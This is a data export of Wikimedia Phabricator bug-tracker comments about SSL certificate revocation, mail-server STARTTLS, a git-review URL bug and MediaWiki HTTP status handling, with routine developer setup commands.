+",,,1433880058,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-52ft7fgknfxmk4iom37d,task_subcomment,,True,c3,1,False,,,-4,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+470159,delete and revoke SSL certificate rt.wikimedia.org,"- deleted on server magnesium: shred'ed key in /etc/ssl/private/ and rm'ed cert and chained file in /etc/ssl/localcerts/
+- removed install_certificate from puppet role (it also did this in labs!)
+- removed HTTPS monitoring on magnesium
+- follow-up ticket that we don't need to use a public IP anymore now
+
+please do:
+
+- revoke certificate with vendor
+- delete cert from repo: https://gerrit.wikimedia.org/r/#/c/216332/
+- delete key from private repo
+",,,1433546180,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-52ft7fgknfxmk4iom37d,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,1,1,1,0,1,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0,1,0,1,1,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+470158,delete and revoke SSL certificate rt.wikimedia.org,"Change 216339 merged by Dzahn:
+RT: stop installing SSL cert
+
+[[https://gerrit.wikimedia.org/r/216339]]",,,1433546005,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-52ft7fgknfxmk4iom37d,task_subcomment,,True,c3,1,False,,,-4,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+470157,delete and revoke SSL certificate rt.wikimedia.org,"Change 216339 had a related patch set uploaded (by Dzahn):
+RT: stop installing SSL cert
+
+[[https://gerrit.wikimedia.org/r/216339]]
+",,,1433545905,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-52ft7fgknfxmk4iom37d,task_subcomment,,True,c3,1,False,,,-4,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+101489,For non-logged-in users show login page instead of nosuchspecialpage if the URL has campaign parameter,"For non-logged-in users show login page instead of nosuchspecialpage if the URL has campaign parameter. After login the user should be taken to Special:CX again with all query parameters.
+
+This is important for campaigns like email campaigns. When user click the user may not be logged in. Showing nosuchspecialpage is a bad idea in that case.",Medium,50.0,1433479764,1433838162.0,PHID-USER-m2yck6646cdt5t6zkta4,False,PHID-USER-m2yck6646cdt5t6zkta4,False,PHID-TASK-2h4xz6cdoj77lnmkg4gl,task_description,resolved,True,c3,1,True,True,True,-4,True,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+473112,For non-logged-in users show login page instead of nosuchspecialpage if the URL has campaign parameter,"
+Hey Santosh, 
+
+thank you for resolving this task so quickly. Could you show me how to format the url to adopt this change? The following url
+is not prompting me to login when I am not logged in:
+
+https://es.wikipedia.org/w/index.php?title=Especial:ContentTranslation&campaign=staff-recommender&targettitle=Cadira&to=es&from=en&page=Chair
+
+Thanks, 
+
+Ellery",,,1434041705,,PHID-USER-acib6ps3o5mx7ep6txe4,False,,,PHID-TASK-2h4xz6cdoj77lnmkg4gl,task_subcomment,,True,c3,1,False,,,-3,True,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,1,1,0,1,1,0,0,0
+470934,For non-logged-in users show login page instead of nosuchspecialpage if the URL has campaign parameter,"* https://gerrit.wikimedia.org/r/216030 (branch master): #mw1.26wmf9
+",,,1433786546,,PHID-USER-n4kveqwjjlpsb6ydn73h,False,,,PHID-TASK-2h4xz6cdoj77lnmkg4gl,task_subcomment,,True,c3,1,False,,,-4,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+470626,For non-logged-in users show login page instead of nosuchspecialpage if the URL has campaign parameter,"Change 216030 merged by jenkins-bot:
+Show login page if the URL has campaign parameter for anon users
+
+[[https://gerrit.wikimedia.org/r/216030]]",,,1433753049,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2h4xz6cdoj77lnmkg4gl,task_subcomment,,True,c3,1,False,,,-4,True,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+469630,For non-logged-in users show login page instead of nosuchspecialpage if the URL has campaign parameter,"Change 216030 had a related patch set uploaded (by Santhosh):
+Show login page if the URL has campaign parameter for anon users
+
+[[https://gerrit.wikimedia.org/r/216030]]
+",,,1433479927,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2h4xz6cdoj77lnmkg4gl,task_subcomment,,True,c3,1,False,,,-4,True,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+101452,Protect incoming emails with SMTP STARTLS,"When receiving an email, none of the three wikimedia mail servers (lead, polonium and sodium) support STARTTLS for reception.
+
+Expected:
+They should offer the STARTTLS, after which should present a valid certificate making possible to establish a TLS connection with a PFS cipher.
+
+Like T101451, the email should also be protected when arriving to WMF servers, as well as when reentering wikimedia.org quoted in a reply.",Medium,50.0,1433456066,1443015793.0,PHID-USER-izojihzr4ja3jsgzn5wv,False,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-TASK-ekwxnuzpdnd3djrvwuon,task_description,resolved,True,c3,1,False,False,True,-4,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+533222,Protect incoming emails with SMTP STARTLS,This is now done :),,,1443015793,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-ekwxnuzpdnd3djrvwuon,task_subcomment,,True,c3,3,True,,,11,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+533196,Protect incoming emails with SMTP STARTLS,"Change 240351 merged by Faidon Liambotis:
+mail: add inbound TLS support for main MXes
+
+[[https://gerrit.wikimedia.org/r/240351]]",,,1443013388,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ekwxnuzpdnd3djrvwuon,task_subcomment,,True,c3,3,False,,,11,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+533194,Protect incoming emails with SMTP STARTLS,"Change 240351 had a related patch set uploaded (by Faidon Liambotis):
+mail: add inbound TLS support for main MXes
+
+[[https://gerrit.wikimedia.org/r/240351]]
+",,,1443013266,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ekwxnuzpdnd3djrvwuon,task_subcomment,,True,c3,3,False,,,11,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+100987,"""git review -d XXX"" doesn't work for http gerrit","Output follows.  Looks like it is expecting some python scripts to be in place.
+
+  mah@flynn: HitCounters$ git review -d 202629
+  Traceback (most recent call last):
+    File ""/usr/local/bin/git-review"", line 11, in <module>
+      sys.exit(main())
+    File ""/usr/local/lib/python2.7/dist-packages/git_review/cmd.py"", line 1180, in main
+      local_branch = fetch_review(options.changeidentifier, branch, remote)
+    File ""/usr/local/lib/python2.7/dist-packages/git_review/cmd.py"", line 886, in fetch_review
+      parse_exc=ReviewInformationNotFound)
+    File ""/usr/local/lib/python2.7/dist-packages/git_review/cmd.py"", line 416, in query_reviews
+      parse_exc=parse_exc)
+    File ""/usr/local/lib/python2.7/dist-packages/git_review/cmd.py"", line 434, in query_reviews_over_http
+      request = run_http_exc(exception, url)
+    File ""/usr/local/lib/python2.7/dist-packages/git_review/cmd.py"", line 175, in run_http_exc
+      raise klazz(255, str(err), ('GET', url), env)
+  git_review.cmd.CannotQueryPatchSet: Cannot query patchset information
+  The following command failed with exit code 255
+      ""GET https://gerrit.wikimedia.org/changes/?q=202629&o=CURRENT_REVISION""
+  -----------------------
+  Cannot query patchset information
+  The following command failed with exit code 104
+      ""GET https://gerrit.wikimedia.org/changes/?q=202629&o=CURRENT_REVISION""
+  -----------------------
+  <!DOCTYPE HTML PUBLIC ""-//IETF//DTD HTML 2.0//EN"">
+  <html><head>
+  <title>404 Not Found</title>
+  </head><body>
+  <h1>Not Found</h1>
+  <p>The requested URL /changes/ was not found on this server.</p>
+  </body></html>
+  
+  -----------------------
+  -----------------------
+  mah@flynn: HitCounters$ ",Medium,50.0,1433169639,1438334363.0,PHID-USER-ogbcrxm45oo3n3xe5q25,False,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-TASK-seoz4yzzbo7jcdx7exu7,task_description,declined,True,c3,1,False,False,True,-5,True,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1
+937829,"""git review -d XXX"" doesn't work for http gerrit",At some point I should probably copy my previous comment T100987#3353888 to the wiki :-],,,1506548370,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-seoz4yzzbo7jcdx7exu7,task_subcomment,,True,c3,3,True,,,116,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+877359,"""git review -d XXX"" doesn't work for http gerrit","git-review 1.25 is the last tagged version. It is two years old  and lack a few nice feature introduced meanwhile. My recommandation is to run it from sources!
+
+Install
+=====
+
+Install the python package manager system:
+`sudo apt-get install python-pip`
+
+Get the source:
+`git clone https://git.openstack.org/openstack-infra/git-review`
+
+Get the python package system to craft a `git-review` command in your home directory and pointing to that source tree.
+
+```
+cd git-review
+pip install --user -e .
+```
+
+That should install the script as `~/.local/bin/git-review`.  Add that path to your PATH:
+`PATH=""~/.local/bin:$PATH""`
+
+
+Config
+=====
+
+git-review looks at setting in `.gitconfig`.  You would want to configure your username and enable some features introduced after git-review v1.25 got tagged:
+```
+git config ---global gitreview.username kaldari
+git config ---global gitreview.usepushurl 1
+git config ---global gitreview.track 1
+```
+
+Where:
+
+`gitreview.username` is your ssh account for Gerrit
+
+`gitreview.usepushurl`
+> Use remote push-url logic instead of separate remotes
+
+With that, git-review would no more use a `gerrit` remote.  Instead it will configure the `origin` remote with a push-url pointing to ssh:// . Example:
+```
+$ git remote -v
+origin	https://gerrit.wikimedia.org/r/p/mediawiki/core.git (fetch)
+origin	ssh://gerrit.wikimedia.org:29418/mediawiki/core.git (push)
+```
+
+Thus you would fetch over HTTP put push over ssh with authentication.
+
+`gitreview.track`
+
+> Use tracked branch as default.
+
+I think git-review default to push to master branch, and we had `.gitreview` files to explicitly mention the branch.  With `track` git-review looks at the remote tracked branch and would use that, that is 99% of the time what you intend to do.
+
+Conclusion
+-------------
+
+As always, you can dry-run / verbose a run which is the best way to understand how it works:
+```
+git-review -n -v
+```
+",,,1497596124,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-seoz4yzzbo7jcdx7exu7,task_subcomment,,True,c3,3,True,,,102,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1
+877356,"""git review -d XXX"" doesn't work for http gerrit","@kaldari sure thing!
+
+> fetch patches manually (eg: git fetch origin refs/changes/DE/ABCDE && git checkout FETCH_HEAD
+
+`ref/changes/DE/ABCDE` is the git reference for an hypothetical change `ABCDE`. 
+
+On a change web page, on the top right there is a **Download** link. Clicking on it brings a popup that gives you command line to cherry-pick / checkout patches. Eg:
+
+https://gerrit.wikimedia.org/r/#/c/320200/
+
+    git fetch https://gerrit.wikimedia.org/r/operations/mediawiki-config refs/changes/00/320200/3 && git checkout FETCH_HEAD
+
+> use the ssh:// protocol for review
+
+That all depends on your git-review version.  IIRC with 1.25, it would setup and use the a git remote named gerrit. You would thus have something like:
+
+```
+$ git remote -v
+origin	https://gerrit.wikimedia.org/r/p/mediawiki/core.git (fetch)
+origin	https://gerrit.wikimedia.org/r/p/mediawiki/core.git (push)
+gerrit	ssh://hashar@gerrit.wikimedia.org:29418/mediawiki/core.git (push)
+gerrit	ssh://hashar@gerrit.wikimedia.org:29418/mediawiki/core.git (fetch)
+```
+
+You can change a remote url with eg:
+
+    git remote set-url gerrit ssh://gerrit.wikimedia.org:29418/mediawiki/core.git
+
+",,,1497595465,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-seoz4yzzbo7jcdx7exu7,task_subcomment,,True,c3,3,True,,,102,True,1,1,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,1,1,1,0,1,0,0,1
+877177,"""git review -d XXX"" doesn't work for http gerrit","> The workaround are:
+>   - use the ssh:// protocol for review
+>   - fetch patches manually (eg: git fetch origin refs/changes/DE/ABCDE && git checkout FETCH_HEAD
+> 
+
+@hashar: Could you explain these workarounds for those of us that aren't as git proficient? For example, what is the ""DE/ABCDE""? And how does one use the ssh:// protocol for review? Would that be something like:
+`git remote set-url origin ssh://kaldari@gerrit.wikimedia.org:29418/mediawiki/...`?",,,1497560027,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-seoz4yzzbo7jcdx7exu7,task_subcomment,,True,c3,3,False,,,102,True,0,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,1,1,1,0,1,0,0,0,1
+842813,"""git review -d XXX"" doesn't work for http gerrit","Hm, I'm seeing this even with the `gerrit` remote set to `ssh://` -- it appears that your `origin` remote also has to be via ssh (not https) in order for gerrit to be happy.",,,1492181759,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-seoz4yzzbo7jcdx7exu7,task_subcomment,,True,c3,3,False,,,93,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,1,1,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+788287,"""git review -d XXX"" doesn't work for http gerrit","Found it
+
+https://github.com/openstack-infra/git-review/blob/67dbbc2e59b0b104c9de0a8ab1d39ca54e9845ca/git_review/cmd.py#L571
+
+Probably want to add either /r/ on the end of the URL in the git review file. Or add a new prefix config to prefix the url.",,,1483715408,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-seoz4yzzbo7jcdx7exu7,task_subcomment,,True,c3,3,True,,,79,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+500148,"""git review -d XXX"" doesn't work for http gerrit","hashar writes:
+
+> The fix would be to add support in `git-review` to specify the base
+> path fragment which would be appended to the scheme + host.  Feel free
+> to report it upstream.  Meanwhile I am closing this task since the
+> supported way is to use ssh.
+
+An alternative fix: don't depend on ""git review -s"" to set up gerrit.
+Instead, the following set up works:
+
+   $ curl https://gerrit.wikimedia.org/r/tools/hooks/commit-msg > .git/hooks; chmod +x .git/hooks/commit-msg
+   $ git remote add gerrit https://USER@gerrit.wikimedia.org/r/p/PROJECT
+
+After that ""git review -d XXXX"" should work.",,,1438349344,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-seoz4yzzbo7jcdx7exu7,task_subcomment,,True,c3,3,False,,,4,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+500060,"""git review -d XXX"" doesn't work for http gerrit","The reason for the failure is that git-review uses the wrong Gerrit base path: https://gerrit.wikimedia.org/ . It is missing the trailing /r/ .  But if you add it it works just fine:
+
+```
+https://gerrit.wikimedia.org/r/changes/?q=202629&o=CURRENT_REVISION
+                             ^
+```
+
+The root cause is git-review looks at the remote URL then does:
+```
+>>> import urlparse
+>>> urlparse.urljoin( 'https://gerrit.wikimedia.org/r/p/mediawiki/core.git', '/changes/' )
+'https://gerrit.wikimedia.org/changes/'
+>>> 
+```
+
+https://docs.python.org/2/library/urlparse.html#urlparse.urljoin
+
+So git-review expect the Gerrit base path to be at the root `/` when our setup namespaces it under `/r/`'.
+
+The workaround are:
+* use the `ssh://` protocol for review
+* fetch patches manually (eg:  git fetch origin refs/changes/DE/ABCDE && git checkout FETCH_HEAD
+
+The fix would be to add support in `git-review` to specify the base path fragment which would be appended to the scheme + host.  Feel free to report it upstream.  Meanwhile I am closing this task since the supported way is to use ssh.
+",,,1438334363,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-seoz4yzzbo7jcdx7exu7,task_subcomment,,True,c3,3,True,,,4,True,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,1
+466921,"""git review -d XXX"" doesn't work for http gerrit",">>! In T100987#1326436, @chasemp wrote:
+> @demon ping :)
+
+Friends don't let friends use git-review :p",,,1433184432,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-seoz4yzzbo7jcdx7exu7,task_subcomment,,True,c3,1,True,,,-5,True,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1
+466881,"""git review -d XXX"" doesn't work for http gerrit",T94566 - sort of,,,1433181208,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-seoz4yzzbo7jcdx7exu7,task_subcomment,,True,c3,1,True,,,-5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+466868,"""git review -d XXX"" doesn't work for http gerrit",@demon ping :),,,1433179982,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-seoz4yzzbo7jcdx7exu7,task_subcomment,,True,c3,1,True,,,-5,True,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,0,0,0,1,1,0,0,1,0,0,1,0,0,1,0,0,1
+466831,"""git review -d XXX"" doesn't work for http gerrit","@krenair, thanks.  If you find it, merge this one with the one it dupes.  If you could, I'd like to get you to review the documentation I'm going to write for people behind firewalls that need to commit to gerrit.",,,1433177014,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-seoz4yzzbo7jcdx7exu7,task_subcomment,,True,c3,1,False,,,-5,True,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,1,1,0,1,0,0,1,0,0,0
+466810,"""git review -d XXX"" doesn't work for http gerrit",I think this might be a duplicate - it's been annoying me for a long while.,,,1433175088,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-seoz4yzzbo7jcdx7exu7,task_subcomment,,True,c3,1,True,,,-5,True,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,1,1,0,0,0
+100984,Standardise HttpStatus header handling,"MediaWiki contains a dozen of variations on how to set the HTTP status code.
+
+```lang=php
+
+WebResponse->header( ""HTTP/1.1 $code $message"" );
+WebResponse->header( ""HTTP/1.1 302 "" . HttpStatus::getMessage( 302 ) );
+
+WebResponse->header( ""HTTP/1.1 $code $message"", true, $code );
+WebResponse->header( ""HTTP/1.1 403 $message"", true, 403 );
+
+header( ""Status: $code $message"", true, $code );
+header( ""Status: "" . $this->mResponseCode, true, (int)$n );
+header( ""Status: {$this->httpCode} {$httpMessage}"", true, $this->httpCode );
+```
+.. and many more.",Medium,50.0,1433166918,1433455443.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-uazbd46bp32q7ojlg6fi,task_description,resolved,True,c3,1,True,True,True,-5,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,1,1,0,0,1,0,1
+469440,Standardise HttpStatus header handling,">>! In T100984#1326227, @Anomie wrote:
+>>>! In T100984#1326036, @Krinkle wrote:
+>> * PHP 5.6.9 (Zend)
+> [...]
+>> * PHP 5.3.10 (Zend)
+> 
+> Tests against HHVM to make sure they didn't do anything differently here?
+
+Good point. I've updated the original comment with results from HHVM and PHP 5.5 (as used by Wikimedia). No unexpected behaviour.",,,1433458036,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-uazbd46bp32q7ojlg6fi,task_subcomment,,True,c3,1,True,,,-4,True,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,1
+468065,Standardise HttpStatus header handling,"* https://gerrit.wikimedia.org/r/215031 (branch master): #mw1.26, #mw1.26wmf9
+",,,1433300442,,PHID-USER-n4kveqwjjlpsb6ydn73h,False,,,PHID-TASK-uazbd46bp32q7ojlg6fi,task_subcomment,,True,c3,1,False,,,-5,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+468061,Standardise HttpStatus header handling,"Change 215031 merged by jenkins-bot:
+exception: Use standard message for HTTP status 500
+
+[[https://gerrit.wikimedia.org/r/215031]]",,,1433300311,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uazbd46bp32q7ojlg6fi,task_subcomment,,True,c3,1,False,,,-5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
